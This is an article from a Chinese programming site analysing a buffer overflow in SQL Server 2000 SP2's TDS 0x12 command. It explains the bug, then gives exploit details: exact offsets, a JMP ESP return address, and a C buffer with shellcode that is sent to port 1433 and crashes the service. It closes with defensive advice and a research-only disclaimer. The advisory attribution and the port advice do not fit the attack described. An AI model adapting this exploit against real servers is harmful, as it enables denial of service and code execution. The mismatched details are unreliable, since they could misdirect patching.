首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 2000 SP2 TDS 0x12 命令緩衝區溢位漏洞技術分析與利用代碼

     編輯:關於SqlServer

漏洞背景

SQL Server 2000 SP2 TDS 協議 0x12 號命令(驗證請求)存在緩衝區溢位。發送超過 572 位元組的資料可覆蓋返回位址,導致任意代碼執行。微軟於 2002 年 8 月發布公告 (MS02-039),但未提供利用代碼。

組合語言分析重點

  • 接收資料流程:ssnetlib 非同步 Socket 接收 → 42CF719E 處理。
  • 溢位發生於 42CF72CF 的 strcpy,距返回位址 42CF71A3 偏移 572 位元組。
  • 中間存在多個指標變數,直接覆蓋會導致存取違例被例外處理捕獲,需精心佈局覆蓋內容。
  • 關鍵偏移需保持可讀寫:EBP-8、EBP+4、+8、+C、+10、+14。
  • 利用 SQL Server 固定資料區位址(如 42D01CFC)填充關鍵偏移,避免例外。
  • 尋找 JMP ESP (0xFFE4) 指令位址,SQL Server 模組內 42B0C9DC 存在該指令組合,版本相容性較佳。
  • Shellcode 置於緩衝區前段,溢位後透過 ADD ESP, -0x6E 系列指令跳回執行。

利用代碼 (C) 片段

unsigned char buf0[48+572] = {
    0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
    0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
    0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1
    /* ... 填充 NOP (0x90) ... */
};

int fo = 572; // 返回位址偏移
/* 修正關鍵偏移指標 */
buf0[fo-8] = 0xFF; buf0[fo-7] = 0xFF; buf0[fo-6] = 0xFF; buf0[fo-5] = 0xFF;
buf0[fo+4] = 0xFC; buf0[fo+5] = 0x1C; buf0[fo+6] = 0xD0; buf0[fo+7] = 0x42; // 42D01CFC
/* ... 其餘偏移填入固定資料區位址 ... */

/* 跳回 Shellcode 指令 */
buf0[fo+0x18] = 0x81; buf0[fo+0x19] = 0x83; buf0[fo+0x1A] = 0xC4; buf0[fo+0x1B] = 0x81; // ADD ESP, -0x7F
/* ... 重複 ADD ESP ... */
buf0[fo+0x22] = 0xFF; buf0[fo+0x23] = 0xE4; // JMP ESP

/* Shellcode:列印 "sql hack demo" 並呼叫 ExitProcess */
char exploit_code[21] = "\x83\xC4\x81\x8B\xC4\x50\xFF\x15\xF8\xE0\xCF\x42\x33\xC0\x50\xFF\x15\x84\xE0\xCF\x42";

memcpy(buf0 + fo - 8 - 364, exploit_code, 21);

/* 覆蓋返回位址為 JMP ESP 位址 */
buf0[fo] = 0xDC; buf0[fo+1] = 0xC9; buf0[fo+2] = 0xB0; buf0[fo+3] = 0x42; // 42B0C9DC

/* 發送至目標 1433 埠 */
send(sock, buf0, sizeof(buf0), 0);

測試結果

  • 主控台模式啟動 SQL Server:印出 "sql hack demo" 且服務終止。
  • 服務模式啟動:無輸出但服務掛掉(Shellcode 執行 ExitProcess)。

防禦建議

  1. 套用微軟修補程式 (MS02-039 / Q316333)。
  2. 封鎖非必要的 UDP 1434 埠。
  3. 啟用防火牆入侵防禦 (IPS) 偵測異常 TDS 封包。
  4. 最小權限原則執行 SQL Server 服務帳戶。

聲明

本文僅供安全研究與防禦教學用途,嚴禁用於非授權攻擊行為。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved